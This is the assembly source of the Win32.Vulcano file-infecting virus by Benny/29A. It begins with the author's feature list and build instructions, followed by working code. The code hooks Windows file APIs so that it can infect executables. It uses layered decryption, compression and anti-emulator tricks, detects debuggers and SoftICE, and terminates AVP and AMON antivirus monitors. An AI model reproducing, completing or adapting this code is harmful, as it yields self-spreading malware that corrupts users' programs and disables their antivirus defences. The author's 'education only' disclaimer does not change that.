;                                                     ??????? ??????? ???????
;                                                     ??? ??? ??? ??? ??? ???
;          Win32.Vulcano	                      ??????  ??????? ???????
;          by Benny/29A                               ??????? ??????? ??? ???
;                                                     ??????? ??????? ??? ???
;
;
;
;Description
;????????????
;
;
;Hello everybody,
;
;I was wrong. Not BeGemot, but Vulcano is my best virus :D. It has lot of nice
;and never published features and it is ofcoz, very optimized. I hope u will
;like, coz this took me much time to code and even more time to test it. Here
;comes a little description of that. Heh, this is my best virus and it has very
;small description - I don't know how to better present it than just write
;a list of its features. Enjoy it!
;
;This virus is:
;		-	the first multiprocess Win32 (Win95/98/NT/2k compatible)
;			virus with interprocess communication(!!!)
;		-	per-process resident multithreaded fast mid-infector
;		-	polymorphic using two layers - advanced BPE32 and
;			second semi-morpher
;		-	compressed using BCE32
;		-	heavilly armoured
;		-	CRC32 protected
;		-	undetectable by any antivirus
;
;This virus uses:
;		-	Structured Exception Handling
;		-	EPO routines (virus patches one imported API)
;		-	CRC32 records instead of raw ANSI strings
;		-	Anti-* routines
;		-	Pentium and undocumented instructions (also in poly decryptor)
;
;This virus doesn't:
;		-	infect system files
;		-	infect files which doesn't contain .reloc section
;		-	infect small files
;		-	enlarge file
;		-	contain any payload
;
;This virus is able to:
;		-	deactivate some AV monitors
;		-	infect EXE/SCR/SFX/CPL/DAT/BAK files
;		-	overwrite relocations
;		-	communicate with other instances of virus
;
;And much more. In short words, this virus presents many new hot features never
;been published.
;
;
;
;Interprocess communication (IPC)
;?????????????????????????????????
;
;
;This is the best part of the virus :). The main idea is: make all actions
;in another process. Imagine, virus does nothing. Nothing in actual process.
;But if another infected program is running in system, virus will pass control
;to that instance of virus. This very difficult stuff is realised by file mapping
;mirrored in swap file, mutexes and threads. That code is very optimized, but
;unfortunetely, it contains some bugs, which fortunately aren't much visible.
;In 99,9999% of all cases u won't see anything suspicious. That's truth.
;
;
;
;What will happen on execution ?
;???????????????????????????????-
;
;
;Virus will (after patched API will be called):
;1)	Decrypt it's body by polymorphic decryptor
;2)     Decompress virus body
;3)     Decrypt virus body by 2nd decryptor
;4)     Check consistency of virus body by CRC32 - this prevents from setting
;	breakpoints
;5)     Check for Pentium processor
;6)     Find base of Kernel32.dll in memory
;7)     Find all needed APIs (using CRC32)
;8)	Create new thread which will hook some API functions
;9)	Wait for thread termination
;10)	Create/Open the space in swap file and initialize (create new) record
;	for IPC
;11)	Create new thread for IPC
;12)	Jump to host
;
;
;After hooked API call (API manipulating with files) will virus:
;1)     Get file name
;2)     Check file properties via IPC
;3)     Open file, check it and infect it via IPC
;4)	Call original API (depending on API)
;
;
;After hooked API call (ExitProcess, GetLastError, ...) will virus:
;1)	Check for application level debugger via IPC (if found, process will be
;	remotely terminated - veeery nice feature :))
;2)	Check for system level debugger (SoftICE) via IPC
;3)	Check for monitors in memory via IPC
;4)	Find random file
;5)	Check it via IPC
;6)	Check and infect it via IPC
;
;
;IPC thread in memory will:
;1)	Check for new request
;2)     Do property action
;3)     Pass execution to next thread
;
;
;
;Greetz
;???????
;
;
;       Darkman/29A.... Finally I finished it! Hope u like it...
;       Billy_Bel...... Where r u? Please mail me...
;	GriYo..........	U genius!
;       flush.......... no, neni to sice tak super jako to vase, ale da se to
;			snest, doufam :)
;	StarZer0.......	Who is Axelle? X-D
;
;
;
;How to build it
;????????????????
;
;
;	tasm32 -ml -m9 -q vulcano.asm
;	tlink32 -Tpe -c -x -aa -r  vulcano,,, import32
;	pewrsec vulcano.exe
;
;
;
;Last notes
;???????????
;
;Yeah, I'm really happy, coz I finished that. It was very hard to code it and
;much harder to debug it. I know it has some small bugs, but I hope u will like
;it over the all negative aspects as buggy code is. Please, tell me what do u
;think about it on IRC, or by mail. I can provide u binary form and if u want
;to have it, then there's nothing easier than contact me on benny@post.cz.
;The hardest thing to code was synchronization module. In first versions of
;Vulcano I used normal variable as semaphores, but the code was very slow and
;buggy. Then I recompiled it with mutexes and it worked much better. However,
;there is still code, which I can't and don't want to change.
;Last thing: this virus wasn't coded for spreading, but just and ONLY for
;education purposes only. It infects only huge files with relocation table
;and I hope it is kewl virus without all those spread-features.
;
;
;
;(c) 1999 Benny/29A. Enjoy!




.586p                                           ;why not ;)
.model flat                                     ;FLAT model

include mz.inc                                  ;include some important
include pe.inc                                  ;include-filez
include win32api.inc
include useful.inc


;some instructions
push_LARGE_0	equ		;PUSH LARGE 0
SALC		equ			;SALC opcode
RDTCS		equ		;RDTCS


;some equates for VLCB (VLCB = VuLcano Control Block)
VLCB_Signature	equ	00			;signature
VLCB_TSep	equ	08			;record separator
VLCB_THandle	equ	00			;mutex handle
VLCB_TID	equ	04			;ID of service
VLCB_TData	equ	08			;data
VLCB_TSize	equ	SIZEOF_WIN32_FIND_DATA+8;size of one record
VLCB_SetWait	equ	00			;set data and wait for result
VLCB_WaitGet	equ	01			;wait for signalisation and get data
VLCB_Quit	equ	01			;quit
VLCB_Check	equ	02			;check file
VLCB_Infect	equ	03			;infect file
VLCB_Debug1	equ	04			;check for app level debugger
VLCB_Debug2	equ	05			;check for SoftICE
VLCB_Monitor	equ	06			;check for AVP and AMON monitors


j_api	macro	API				;JMP DWORD PTR [XXXXXXXXh]
	dw	25ffh
API	dd	?
endm


c_api	macro	API				;CALL DWORD PTR [XXXXXXXXh]
	dw	15ffh
API	dd	?
endm


extrn GetModuleHandleA:PROC			;APIs needed in first
extrn ExitProcess:PROC				;generation only


.data                                           ;data section
VulcanoInit: 	                                ;Start of virus
	SALC					;undoc. opcode to fuck emulators
	push dword ptr [offset _GetModuleHandleA]	;push original API
ddAPI = dword ptr $-4
	push 400000h				;push image base
ImgBase = dword ptr $-4
	pushad					;store all registers
	call gd                                 ;get delta offset
gd:     pop ebp                                 ;...
        lea esi, [ebp + _compressed_ - gd]      ;where is compressed virus
                                                ;stored
        lea edi, [ebp + decompressed - gd]      ;where will be virus
                                                ;decompressed
        mov ecx, 0				;size of compressed virus
c_size = dword ptr $-4                        


;Decompression routine from BCE32 starts here.
	pushad					;save all regs
	xor eax, eax				;EAX = 0
	xor ebp, ebp				;EBP = 0
	cdq					;EDX = 0
	lodsb					;load decryption key
	push eax				;store it
	lodsb					;load first byte
	push 8					;store 8
	push edx				;store 0
d_bits:	push ecx				;store ECX
	test al, 80h				;test for 1
	jne db0
	test al, 0c0h				;test for 00
	je db1
	test al, 0a0h				;test for 010
	je db2
	mov cl, 6				;its 011
	jmp tb2
testb:	test bl, 1				;is it 1 ?
	jne p1
	push 0					;no, store 0
_tb_:	mov eax, ebp				;load byte to EAX
	or al, [esp]				;set bit
	ror al, 1				;and make space for next one
	call cbit
	ret
p1:	push 1					;store 1
	jmp _tb_				;and continue
db0:	xor cl, cl				;CL = 0
	mov byte ptr [esp+4], 1			;store 1
testbits:
	push eax				;store it
	push ebx				;...
	mov ebx, [esp+20]			;load parameter
	ror bl, cl				;shift to next bit group
	call testb				;test bit
	ror bl, 1				;next bit
	call testb				;test it
	pop ebx					;restore regs
	pop eax
	mov ecx, [esp+4]			;load parameter
bcopy:	cmp byte ptr [esp+8], 8			;8. bit ?
	jne dnlb				;nope, continue
	mov ebx, eax				;load next byte
	lodsb
	xchg eax, ebx
	mov byte ptr [esp+8], 0			;and nulify parameter
	dec dword ptr [esp]			;decrement parameter
dnlb:	shl al, 1				;next bit
	test bl, 80h				;is it 1 ?
	je nb					;no, continue
	or al, 1				;yeah, set bit
nb:	rol bl, 1				;next bit
	inc byte ptr [esp+8]			;increment parameter
	loop bcopy				;and align next bits
	pop ecx					;restore ECX
	inc ecx					;test flags
	dec ecx					;...
	jns d_bits				;if not sign, jump
	pop eax					;delete pushed parameters
	pop eax					;...
	pop eax					;...
	popad					;restore all regs
	jmp decompressed
cbit:	inc edx					;increment counter
	cmp dl, 8				;byte full ?
	jne n_byte				;no, continue
	stosb					;yeah, store byte
	xor eax, eax				;and prepare next one
	cdq					;...
n_byte:	mov ebp, eax				;save back byte
	ret Pshd		;quit from procedure with one parameter on stack
db1:	mov cl, 2				;2. bit in decryption key
	mov byte ptr [esp+4], 2			;2 bit wide
	jmp testbits				;test bits
db2:	mov cl, 4				;4. bit
tb2:	mov byte ptr [esp+4], 3			;3 bit wide
	jmp testbits				;test bits

_compressed_    db      virus_end-compressed+200h dup (?) ;here is stored compressed
                                                ;virus body
decompressed:   db      virus_end-compressed dup (?)  ;here decompressed
                db      size_unint dup (?)      ;and here all uninitialized
                                                ;variables
virtual_end:                                    ;end of virus in memory
ends

.code                                           ;start of code section
first_gen:                                      ;first generation code
	;second layer of encryption
	mov esi, offset encrypted		;encrypt from...
	mov ecx, (virus_end-encrypted+3)/4	;encrypt how many bytes...
encrypt1:
	lodsd					;get dword
	xor eax, 1				;encrypt
	mov [esi-4], eax			;and store it
	loop encrypt1				;

	mov esi, offset compressed              ;source
        mov edi, offset _compressed_            ;destination
        mov ecx, virus_end-compressed+2         ;size
        mov ebx, offset workspace1              ;workspace1
        mov edx, offset workspace2              ;workspace2
        call BCE32_Compress                     ;Compress virus body!
        dec eax
        mov [c_size], eax                       ;save compressed virus size

	push 0					;parameter for GetModuleHandleA
	call VulcanoInit			;call virus code

	push 0					;parameter for ExitProcess
	call ExitProcess			;this will be hooked by virus l8r

;Compression routine from BCE32 starts here. This is used only in first gen.

BCE32_Compress  Proc
	pushad					;save all regs
;stage 1
	pushad					;and again
create_table:
	push ecx				;save for l8r usage
	push 4
	pop ecx					;ECX = 4
	lodsb					;load byte to AL
l_table:push eax				;save it
	xor edx, edx				;EDX = 0
	and al, 3				;this stuff will separate and test
	je st_end				;bit groups
	cmp al, 2
	je st2
	cmp al, 3
	je st3
st1:	inc edx					;01
	jmp st_end
st2:	inc edx					;10
	inc edx
	jmp st_end
st3:	mov dl, 3				;11
st_end:	inc dword ptr [ebx+4*edx]		;increment count in table
	pop eax
	ror al, 2				;next bit group
	loop l_table
	pop ecx					;restore number of bytes
	loop create_table			;next byte

	push 4					;this will check for same numbers
	pop ecx					;ECX = 4
re_t:	cdq					;EDX = 0
t_loop:	mov eax, [ebx+4*edx]			;load DWORD
	inc dword ptr [ebx+4*edx]		;increment it
	cmp eax, [ebx]				;test for same numbers
	je _inc_				;...
	cmp eax, [ebx+4]			;...
	je _inc_				;...
	cmp eax, [ebx+8]			;...
	je _inc_				;...
	cmp eax, [ebx+12]			;...
	jne ninc_				;...
_inc_:	inc dword ptr [ebx+4*edx]		;same, increment it
	inc ecx					;increment counter (check it in next turn)
ninc_:	cmp dl, 3				;table overflow ?
	je re_t					;yeah, once again
	inc edx					;increment offset to table
	loop t_loop				;loop
	popad					;restore regs

;stage 2
	pushad					;save all regs
	mov esi, ebx				;get pointer to table
	push 3
	pop ebx					;EBX = 3
	mov ecx, ebx				;ECX = 3
rep_sort:					;bubble sort = the biggest value will
						;always "bubble up", so we know number
						;steps
	push ecx				;save it
	mov ecx, ebx				;set pointerz
	mov edi, edx				;...
	push edx				;save it
	lodsd					;load DWORD (count)
	mov edx, eax				;save it
sort:	lodsd					;load next
	cmp eax, edx				;is it bigger
	jb noswap				;no, store it
	xchg eax, edx				;yeah, swap DWORDs
noswap:	stosd					;store it
	loop sort				;next DWORD
	mov eax, edx				;biggest in EDX, swap it
	stosd					;and store
	lea esi, [edi-16]			;get back pointer
	pop edx					;restore regs
	pop ecx
	loop rep_sort				;and try next DWORD
	popad
;stage 3
	pushad					;save all regs
	xor eax, eax				;EAX = 0
	push eax				;save it
	push 4
	pop ecx					;ECX = 4
n_search:
	push edx				;save regs
	push ecx
	lea esi, [ebx+4*eax]			;get pointer to table
	push eax				;store reg
	lodsd					;load DWORD to EAX
	push 3
	pop ecx					;ECX = 3
	mov edi, ecx				;set pointerz
search:	mov esi, edx
	push eax				;save it
	lodsd					;load next
	mov ebp, eax
	pop eax
	cmp eax, ebp				;end ?
	je end_search
	dec edi					;next search
	add edx, 4
	loop search
end_search:
	pop eax					;and next step
	inc eax
	pop ecx
	pop edx
	add [esp], edi
	rol byte ptr [esp], 2
	loop n_search
	pop [esp.Pushad_ebx]			;restore all
	popad					;...
;stage 4
	xor ebp, ebp				;EBP = 0
	xor edx, edx				;EDX = 0
	mov [edi], bl				;store decryption key
	inc edi					;increment pointer
next_byte:
	xor eax, eax				;EAX = 0
	push ecx
	lodsb					;load next byte
	push 4
	pop ecx					;ECX = 4
next_bits:
	push ecx				;store regs
	push eax
	and al, 3				;separate bit group
	push ebx				;compare with next group
	and bl, 3
	cmp al, bl
	pop ebx
	je cb0
	push ebx				;compare with next group
	ror bl, 2
	and bl, 3
	cmp al, bl
	pop ebx
	je cb1
	push ebx				;compare with next group
	ror bl, 4
	and bl, 3
	cmp al, bl
	pop ebx
	je cb2
	push 0					;store bit 0
	call copy_bit
	push 1					;store bit 1
	call copy_bit
cb0:	push 1					;store bit 1
end_cb1:call copy_bit
	pop eax
	pop ecx
	ror al, 2
	loop next_bits				;next bit
	pop ecx
	loop next_byte				;next byte
	mov eax, edi				;save new size
	sub eax, [esp.Pushad_edi]		;...
	mov [esp.Pushad_eax], eax		;...
	popad					;restore all regs
	cmp eax, ecx				;test for negative compression
	jb c_ok					;positive compression
	stc					;clear flag
	ret					;and quit
c_ok:	clc					;negative compression, set flag
	ret					;and quit
cb1:	push 0					;store bit 0
end_cb2:call copy_bit
	push 0					;store bit 0
	jmp end_cb1
cb2:	push 0					;store bit 0
	call copy_bit
	push 1					;store bit 1
	jmp end_cb2
copy_bit:
	mov eax, ebp				;get byte from EBP
	shl al, 1				;make space for next bit
	or al, [esp+4]				;set bit
	jmp cbit
BCE32_Compress	EndP				;end of compression procedure


compressed:                                     ;compressed body starts here
        @SEH_SetupFrame 		;setup SEH frame
        call gdlta	                        ;calculate delta offset
gdelta:	dd	ddFindFirstFileA-gdelta		;addresses
	dd	ddFindNextFileA-gdelta		;of variables
	dd	ddFindClose-gdelta		;where will
	dd	ddSetFileAttributesA-gdelta	;be stored
	dd	ddSetFileTime-gdelta		;addresses of APIs
	dd	ddCreateFileA-gdelta
	dd	ddCreateFileMappingA-gdelta
	dd	ddMapViewOfFile-gdelta
	dd	ddUnmapViewOfFile-gdelta
	dd	ddCreateThread-gdelta
	dd	ddWaitForSingleObject-gdelta
	dd	ddCloseHandle-gdelta
	dd	ddCreateMutexA-gdelta
	dd	ddReleaseMutex-gdelta
	dd	ddOpenMutexA-gdelta
	dd	ddSleep-gdelta
	dd	ddVirtualProtect-gdelta
	dd	ddGetCurrentProcessId-gdelta
	dd	ddOpenProcess-gdelta
	dd	ddTerminateProcess-gdelta
	dd	ddLoadLibraryA-gdelta
	dd	ddGetProcAddress-gdelta
	dd	ddFreeLibrary-gdelta
	dd	?				;end of record

newHookers:
	dd	newFindFirstFileA-gdelta	;addresses of API hookers
	dd	newFindNextFileA-gdelta
	dd	newCopyFileA-gdelta
	dd	newCopyFileExA-gdelta
	dd	newCreateFileA-gdelta
	dd	newCreateProcessA-gdelta
	dd	newDeleteFileA-gdelta
	dd	newGetFileAttributesA-gdelta
	dd	newGetFullPathNameA-gdelta
	dd	new_lopen-gdelta
	dd	newMoveFileA-gdelta
	dd	newMoveFileExA-gdelta
	dd	newOpenFile-gdelta
	dd	newSetFileAttributesA-gdelta
	dd	newWinExec-gdelta
	dd	newExitProcess-gdelta
	dd	newExitThread-gdelta
	dd	newGetLastError-gdelta
	dd	newCloseHandle-gdelta
	dd	?				;end of record

oldHookers:
	dd	oldFindFirstFileA-gdelta	;addresses, where will be
	dd	oldFindNextFileA-gdelta		;stored original
	dd	oldCopyFileA-gdelta		;API callers
	dd	oldCopyFileExA-gdelta
	dd	oldCreateFileA-gdelta
	dd	oldCreateProcessA-gdelta
	dd	oldDeleteFileA-gdelta
	dd	oldGetFileAttributesA-gdelta
	dd	oldGetFullPathNameA-gdelta
	dd	old_lopen-gdelta
	dd	oldMoveFileA-gdelta
	dd	oldMoveFileExA-gdelta
	dd	oldOpenFile-gdelta
	dd	oldSetFileAttributesA-gdelta
	dd	oldWinExec-gdelta
	dd	oldExitProcess-gdelta
	dd	oldExitThread-gdelta
	dd	oldGetLastError-gdelta
	dd	oldCloseHandle-gdelta

gdlta:	pop ebp					;get delta offset
	lea esi, [ebp + encrypted - gdelta]	;get start of encrypted code
	mov ecx, (virus_end-encrypted+3)/4	;number of dwords to encrypt
	push es					;save selector
	push ds
	pop es					;ES=DS
decrypt:lodsd					;load dword
	xor eax, 1				;decrypt it
	mov es:[esi-4], eax			;save dword with AntiAV (usage of
	loop decrypt				;selectors)

encrypted:					;encrypted code starts here
	pop es					;restore selector
	lea esi, [ebp + crc32prot - gdelta]	;start of CRC32 protected code
	mov edi, virus_end-crc32prot		;size of that
	call CRC32				;calculate CRC32
	cmp eax, 05BB5B647h			;check for consistency
crc32prot:
	jne jmp_host		;jump to host if breakpoints set and such

	;Pentium+ check
	pushad
        pushfd                                  ;save EFLAGS
        pop eax                                 ;get them
        mov ecx, eax                            ;save them
        or eax, 200000h                         ;flip ID bit in EFLAGS
        push eax                                ;store
        popfd                                   ;flags
        pushfd                                  ;get them back
        pop eax                                 ;...
        xor eax, ecx                            ;same?
        je end_cc                               ;shit, we r on 486-
        xor eax, eax                            ;EAX=0
        inc eax                                 ;EAX=1
        cpuid                                   ;CPUID
        and eax, 111100000000b                  ;mask processor family
        cmp ah, 4                               ;is it 486?
        je end_cc                               ;baaaaaaad
	popad

	mov eax, ds				;this will fuck
	push eax				;some old versions
	pop ds					;of NodICE
	mov ebx, ds
	xor eax, ebx
	jne jmp_host

	mov eax, 77F00000h			;WinNT 4.0 k32 image base
	call get_base
	jecxz k32_found				;we got image base
	mov eax, 77E00000h			;Win2k k32 image base
	call get_base
	jecxz k32_found				;we got image base
	mov eax, 77ED0000h			;Win2k k32 image base
	call get_base
	jecxz k32_found				;we got image base
	mov eax, 0BFF70000h			;Win95/98 k32 image base
	call get_base
	test ecx, ecx
	jne jmp_host				;base of k32 not found, quit

	push cs
	lea ebx, [ebp + k32_found - gdelta]	;continue on another label
	push ebx
	retf					;fuck u emulator! :)

end_cc:	popad					;restore all registers
	jmp jmp_host				;and jump to host

	db	'Win32.Vulcano by Benny/29A'	;little signature :)

k32_found:
	mov ebx, [esp.cPushad+8]		;get image base of app
	mov [ebp + GMHA - gdelta], ebx		;save it
	add ebx, [ebx.MZ_lfanew]		;get to PE header
	lea esi, [ebp + crcAPIs - gdelta]	;start of CRC32 API table
	mov edx, ebp				;get table of pointers
s_ET:	mov edi, [edx]				;get item
	test edi, edi				;is it 0?
	je end_ET				;yeah, work is done
	add edi, ebp				;normalize
	push eax				;save EAX
	call SearchET				;search for API
	stosd					;save its address
	test eax, eax				;was it 0?
	pop eax					;restore EAX
	je jmp_host				;yeah, error, quit
	add esi, 4				;correct pointers
	add edx, 4				;to pointers...
	jmp s_ET				;loop
get_base:
	pushad					;save all registers
	@SEH_SetupFrame 		;setup SEH frame
	xor ecx, ecx				;set error value
	inc ecx
	cmp word ptr [eax], IMAGE_DOS_SIGNATURE	;is it EXE?
	jne err_gbase				;no, quit
	dec ecx					;yeah, set flag
err_gbase:					;and quit
	@SEH_RemoveFrame			;remove SEH frame
	mov [esp.Pushad_ecx], ecx		;save flag
	popad					;restore all registers
	ret					;and quit from procedure

end_ET:	lea eax, [ebp + tmp - gdelta]		;now we will create new
	push eax				;thread to hide writing to
	xor eax, eax				;Import table
	push eax
	push ebp				;delta offset
	lea edx, [ebp + NewThread - gdelta]	;address of thread procedure
	push edx
	push eax				;and other shit to stack
	push eax
	mov eax, 0
ddCreateThread = dword ptr $-4
	call eax				;create thread!
	test eax, eax				;is EAX=0?
	je jmp_host				;yeah, quit

	push eax				;parameter for CloseHandle
	push -1					;infinite loop
	push eax				;handle of thread
	call [ebp + ddWaitForSingleObject - gdelta]	;wait for thread termination

	call [ebp + ddCloseHandle - gdelta]	;close thread handle

;now we will create space in shared memory for VLCB structure
	call @VLCB
	db	'VLCB',0			;name of shared area
@VLCB:	push 2000h				;size of area
	push 0
	push PAGE_READWRITE
	push 0
	push -1					;SWAP FILE!
	call [ebp + ddCreateFileMappingA - gdelta]	;open area
	test eax, eax
	je jmp_host				;quit if error

	xor edx, edx
	push edx
	push edx
	push edx
	push FILE_MAP_WRITE
	push eax
	call [ebp + ddMapViewOfFile - gdelta]	;map view of file to address
	xchg eax, edi				;space of virus
	test edi, edi
	je end_gd1				;quit if error
	mov [ebp + vlcbBase - gdelta], edi	;save base address

	;now we will create named mutex
	call @@@1				;push address of name
@@1:	dd	0				;random name
@@@1:	RDTCS					;get random number
	mov edx, [esp]				;get address of name
	shr eax, 8				;terminate string with \0
	mov [edx], eax				;and save it
	mov esi, [esp]				;get address of generated name
	push 0
	push 0
	mov eax, 0
ddCreateMutexA = dword ptr $-4
	call eax				;create mutex
	test eax, eax
	je end_gd2				;quit if error

;now we will initialize VLCB structure
	xor edx, edx				;EDX=0
	mov eax, edi				;get base of VLCB
       	mov [eax.VLCB_Signature], 'BCLV'	;save signature

;now we will initialize record for thread
	mov ecx, 20				;20 communication channels
sr_t:	cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0	;check handle
	jne tnext				;if already reserved, then try next
	mov esi, [esi]				;get name of mutex
	mov [edi.VLCB_TSep.VLCB_THandle], esi	;save it
	mov [ebp + t_number - gdelta], edx	;and save ID number of mutex

	lea eax, [ebp + tmp - gdelta]		;create new thread
	push eax				;for IPC
	xor eax, eax
	push eax
	push ebp
	lea edx, [ebp + mThread - gdelta]	;address of thread procedure
	push edx
	push eax
	push eax
	call [ebp + ddCreateThread - gdelta]	;create new thread
	xchg eax, ecx
	jecxz end_gd3				;quit if error

jmp_host:
	@SEH_RemoveFrame                        ;remove SEH frame
	mov eax, [esp.cPushad+4]		;save address of previous
	mov [esp.Pushad_eax], eax		;API caller
        popad                                   ;restore all regs
	add esp, 8				;repair stack pointer
	push cs					;save selector
	push eax				;save offset of API caller
	retf					;jump to host :)
tnext:	add edi, VLCB_TSize			;get to next record
	inc edx					;increment counter
	loop sr_t				;try again
	jmp jmp_host				;quit if more than 20 viruses r in memory
end_gd3:push esi
	call [ebp + ddCloseHandle - gdelta]	;close mutex
end_gd2:push dword ptr [ebp + vlcbBase - gdelta]
	call [ebp + ddUnmapViewOfFile - gdelta]	;unmap VLCB
end_gd1:push edi
	call [ebp + ddCloseHandle - gdelta]	;close mapping of file
	jmp jmp_host				;and jump to host


gtDelta:call mgdlta				;procedure used to getting
mgdelta:db	0b8h				;fuck u disassemblers
mgdlta:	pop ebp					;get it
	ret					;and quit


newFindFirstFileA:				;hooker for FindFirstFileA API
	push dword ptr [esp+8]			;push parameters
	push dword ptr [esp+8]			;...
	c_api oldFindFirstFileA			;call original API

p_file:	pushad					;store all registers
	call gtDelta				;get delta
	mov ebx, [esp.cPushad+8]		;get Win32 Find Data
	call Check&Infect			;try to infect file
	popad					;restore all registers
	ret 8					;and quit

newFindNextFileA:
	push dword ptr [esp+8]			;push parameters
	push dword ptr [esp+8]			;...
	c_api oldFindNextFileA			;call previous API
	jmp p_file				;and continue


process_file:
	pushad					;store all registers
	call gtDelta				;get delta offset
	lea esi, [ebp + WFD2 - mgdelta]		;get Win32_Find_Data
	push esi				;save it
	push dword ptr [esp.cPushad+0ch]	;push offset to filename
	call [ebp + ddFindFirstFileA - mgdelta]	;find that file
	inc eax
	je end_pf				;quit if error
	dec eax
	xchg eax, ecx				;handle to ECX
	mov ebx, esi				;WFD to EBX
	call Check&Infect			;check and infect it
	push ecx
	call [ebp + ddFindClose - mgdelta]	;close find handle
end_pf:	popad					;restore all registers
	ret					;and quit

;generic hookers for some APIs
newCopyFileExA:
	call process_file
	j_api oldCopyFileExA
newCopyFileA:
	call process_file
	j_api oldCopyFileA
newCreateFileA:
	call process_file
	j_api oldCreateFileA
newCreateProcessA:
	call process_file
	j_api oldCreateProcessA
newDeleteFileA:
	call process_file
	j_api oldDeleteFileA
newGetFileAttributesA:
	call process_file
	j_api oldGetFileAttributesA
newGetFullPathNameA:
	call process_file
	j_api oldGetFullPathNameA
new_lopen:
	call process_file
	j_api old_lopen
newMoveFileA:
	call process_file
	j_api oldMoveFileA
newMoveFileExA:
	call process_file
	j_api oldMoveFileExA
newOpenFile:
	call process_file
	j_api oldOpenFile
newSetFileAttributesA:
	call process_file
	j_api oldSetFileAttributesA
newWinExec:
	call process_file
	j_api oldWinExec

open_driver:
        xor eax, eax                            ;EAX=0
        push eax                                ;parameters
        push 4000000h                           ;for
        push eax                                ;CreateFileA
        push eax                                ;API
        push eax                                ;function
        push eax                                ;...
	push ebx
        call [ebp + ddCreateFileA - mgdelta]    ;open driver
	ret
close_driver:
        push eax                                ;close its handle
        call [ebp + ddCloseHandle - mgdelta]
	ret

common_stage:					;infect files in curr. directory
	pushad
	call gtDelta				;get delta offset

	mov ecx, fs:[20h]			;get context debug
	jecxz n_debug				;if zero, debug is not present

k_debug:mov eax, 0
ddGetCurrentProcessId = dword ptr $-4
	call eax				;get ID number of current process
	call vlcb_stuph				;common stuph
	lea esi, [ebp + data_buffer - mgdelta]
	mov dword ptr [esi.WFD_szAlternateFileName], ebp	;set random data
	mov ebx, VLCB_Debug1			;kill debugger
	call get_set_VLCB			;IPC!

vlcb_stuph:
	xor edx, edx				;random thread
	dec edx
	mov ecx, VLCB_SetWait			;set and wait for result
	ret

n_debug:call vlcb_stuph				;common stuph
	lea esi, [ebp + data_buffer - mgdelta]
	mov dword ptr [esi.WFD_szAlternateFileName], ebp	;set random data
	mov ebx, VLCB_Debug2			;check for SoftICE
	call get_set_VLCB			;IPC!
	mov eax, dword ptr [esi.WFD_szAlternateFileName]	;get result
	dec eax
	test eax, eax
	je endEP				;quit if SoftICE in memory

	call vlcb_stuph				;common stuph
	lea esi, [ebp + data_buffer - mgdelta]
	mov dword ptr [esi.WFD_szAlternateFileName], ebp	;set random data
	mov ebx, VLCB_Monitor			;kill monitors
	call get_set_VLCB			;IPC!

	lea ebx, [ebp + WFD - mgdelta]		;get Win32 Find Data
	push ebx				;store its address
	call star
	db	'*.*',0				;create mask
star:	mov eax, 0
ddFindFirstFileA = dword ptr $-4
	call eax				;find file
	inc eax
	je endEP				;if error, then quit
	dec eax
	mov [ebp + fHandle - mgdelta], eax	;store handle
	call Check&Infect			;and try to infect file

findF:	lea ebx, [ebp + WFD - mgdelta]		;get Win32 Find Data
	push ebx				;store address
	push_LARGE_0				;store handle
fHandle = dword ptr $-4
	mov eax, 0
ddFindNextFileA = dword ptr $-4
	call eax				;find next file
	xchg eax, ecx				;result to ECX
	jecxz endEP2				;no more files, quit
	call Check&Infect			;try to infect file
	jmp findF				;find another file

endEP2:	push dword ptr [ebp + fHandle - mgdelta];store handle
	mov eax, 0
ddFindClose = dword ptr $-4
	call eax				;close it
endEP:	popad
	ret


newExitProcess:					;hooker for ExitProcess API
	pushad
	call common_stage			;infect files in current directory
	call gtDelta				;get delta offset
	mov edx, [ebp + t_number - mgdelta]	;get ID number of thread
	push edx
	mov ecx, VLCB_SetWait			;set and wait for result
	lea esi, [ebp + data_buffer - mgdelta]
	mov dword ptr [esi.WFD_szAlternateFileName], ebp
	mov ebx, VLCB_Quit			;terminate thread
	call get_set_VLCB			;IPC!

	pop edx					;number of thread
	imul edx, VLCB_TSize			;now we will
	push VLCB_TSize/4			;erase thread
	pop ecx					;record
	add edi, edx				;from VLCB
	add edi, VLCB_TSep
	xor eax, eax
	rep stosd				;...
	popad
	j_api oldExitProcess			;jump to original API


;next hookers
newExitThread:
	call common_stage
	j_api oldExitThread
newCloseHandle:
	call common_stage
	j_api oldCloseHandle
newGetLastError:
	call common_stage
	j_api oldGetLastError


Monitor:pushad					;store all registers
	call szU32				;push address of string USER32.dll
	db	'USER32',0
szU32:	mov eax, 0
ddLoadLibraryA = dword ptr $-4			;Load USER32.dll
	call eax
	xchg eax, ebx
	test ebx, ebx
	je end_mon2				;quit if error
	call FindWindowA			;push address of string FindWindowA
	db	'FindWindowA',0
FindWindowA:
	push ebx				;push lib handle
	mov eax, 0
ddGetProcAddress = dword ptr $-4		;get address of FindWindowA API
	call eax
	xchg eax, esi
	test esi, esi
	je end_mon				;quit if error
	call PostMessageA			;push address of string PostMessageA
	db	'PostMessageA',0
PostMessageA:
	push ebx
	call [ebp + ddGetProcAddress - mgdelta]	;get address of PostMessageA
	xchg eax, edi
	test edi, edi
	je end_mon				;quit if error

	mov ecx, 3				;number of monitors
	call Monitors				;push address of strings
	db	'AVP Monitor',0			;AVP monitor
	db	'Amon Antivirus Monitor',0	;AMON english version
	db	'Antiv?rusov? monitor Amon',0	;AMON slovak version
Monitors:
	pop edx					;pop address
k_mon:	pushad					;store all registers
	xor ebp, ebp
	push edx
	push ebp
	call esi				;find window
	test eax, eax
	je next_mon				;quit if not found
	push ebp
	push ebp
	push 12h				;WM_QUIT
	push eax
	call edi				;destroy window
next_mon:
	popad					;restore all registers
	push esi
	mov esi, edx
	@endsz					;get to next string
	mov edx, esi				;move it to EDX
	pop esi
	loop k_mon				;try another monitor

end_mon:push ebx				;push lib handle
	mov eax, 0
ddFreeLibrary = dword ptr $-4
	call eax				;unload library
end_mon2:
	popad					;restore all registers
	jmp d_wr				;and quit


Debug2:	lea ebx, [ebp + sice95 - mgdelta]	;address of softice driver string
	call open_driver			;open driver
        inc eax                                 ;is EAX==0?
        je n_sice		                ;yeah, SoftICE is not present
        dec eax
	call close_driver			;close driver
	jmp d_wr				;and quit
n_sice:	lea ebx, [ebp + siceNT - mgdelta]	;address of softice driver string
	call open_driver			;open driver
	inc eax
	je n2_db				;quit if not present
	dec eax
	call close_driver			;close driver
	jmp d_wr				;and quit


Debug1:	push dword ptr [esi.WFD_szAlternateFileName]	;push ID number of process
	push 0
	push 1
	mov eax, 0
ddOpenProcess = dword ptr $-4
	call eax				;open process
